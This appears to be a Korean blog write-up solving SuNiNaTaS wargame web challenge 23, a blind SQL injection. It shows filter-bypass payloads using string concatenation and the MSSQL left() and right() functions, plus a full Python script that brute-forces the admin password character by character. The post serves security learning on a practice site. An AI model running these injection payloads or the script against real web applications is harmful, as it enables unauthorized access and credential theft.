본문 바로가기
Wargame Write-Up/SuNiNaTaS

[SuNiNaTaS] (Web) 23번문제

by snwo 2020. 3. 5.

 

https://snwo.tistory.com/23

 

[SuNiNaTaS] (Web) 22번문제

Blind Sql Injection 문제다. Blind Sql Injection은 sql쿼리를 조작해 넣었을때 나오는 특정신호를 파악해 pw를 얻는거라 볼수있다. 힌트를 보면 id : guest, pw : guest 인 계정이있고, admin의 비밀번호를 찾..

snwo.tistory.com

22번문제와 비슷한 Blind Sql문제이다.

 

다만 필터링이 늘어난걸 볼 수 있다. 우리가 22번문제에서 썼던 admin과 substring함수가 필터링되는걸 볼 수 있다.

하지만 len함수는 필터링되지 않았기에 비밀번호 길이를 확인해보자.

admin은 +문자로합쳐 ad'+'min' 으로 우회할 수 있다.

 

이런식으로 하나씩늘려 비밀번호 길이를 찾다보면 12인걸 알 수 있다.

그렇다면 이제 비밀번호를 알아내야하는데, substring함수가 필터링되니, 딴 걸 찾아보자.

MSSQL함수를 찾아보면 left함수가 있다.

 

    [left]

 

left( value , length ) -> value에서 length만큼 왼쪽에서부터 값을 반환한다.

 

  • value : pw
  • length 1~12

이제 python으로 ascii코드 33부터 126 까지 붙여나가면서 비밀번호를 찾으면된다.

payload= ad'+'min' and left(pw,  )=' '--

 

그러나, 첫번째글자까진 알아냈지만, 그 다음부터는 뜨지 않는다. 

두번째글자를 아무거나 직접 넣어보자

 

?? No hack 이 뜬다. 분명 필터링에 걸리는것도 없는데..

길이를 확인해보니까 첫번째글자는 30이여서 통과되었고, 두번째글자부터는 31이 되버려 No hack이 뜬다.

길이를 30으로 제한하는것 같다. 그렇다면 ad'+'min' 이 부분을 수정할필요가 있는것 같다.

 

[ select * where id="" and pw="" ] 형식이니까 id는 틀려도, or 로 admin의 pw비교구문을 넣어 참을 만들면 될 것 같다

[ select * where id='' or left(pw,  )='  '--

그렇다면 payload : ' or left(pw,1)='v'-- 이걸 한 번 입력해봐야겠다.

 

성공이다. 그렇다면 위의 payload를 바탕으로 다시 python코드를 짜서 돌려보았다.

 

하지만 비밀번호가 10글자가되는순간 payload가 30글자가 넘어버려 No hack! 이 뜨고만다.

그래서 다시 MSSQL 문자열함수를 찾아보는중, right함수를 발견했다.

 

    [right]

 

right( value , length ) -> value에서 length만큼 오른쪽에서부터 값을 반환한다.

 

  • value : pw
  • length 1~3

구한 9글자 + right함수로 나머지 3글자를 찾아봐야겠다.

payload= ' or right(pw,  )='  '--

 

    [최종코드]

 

right함수를쓸때에는 문자열을 앞으로 추가하는점 유의하자!

( L -> QL -> SQL )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
params={"id":"","pw":1}
key=""
backup=""
authkey=""
print("[+]left 9 : ",end="")
 
for i in range(1,10):
    for j in range(33,126):
        key+=chr(j)
        params['id']="' or left(pw,"+str(i)+")='"+key+"'--"
        r=requests.get(url,params=params)
        if r.text.find("<font size=4 color=blue>admin")!=-1:
            print(chr(j),end="")
            backup+=chr(j)
            break
        else:
            key=backup
 
authkey=key
key=""
backup=""
print("\n[+] right 3 : ",end="")
for i in range(1,4):
    for j in range(33,126):
        key=chr(j)+key
        params['id']="' or right(pw,"+str(i)+")='"+key+"'--"
        r=requests.get(url,params=params)
        if r.text.find("<font size=4 color=blue>admin")!=-1:
            backup=chr(j)+backup
            break
        else:
            key=backup
print(key)
authkey+=key
 
print("authkey="+authkey)
 

 

    [주의]

auth는 소문자로 해야한다.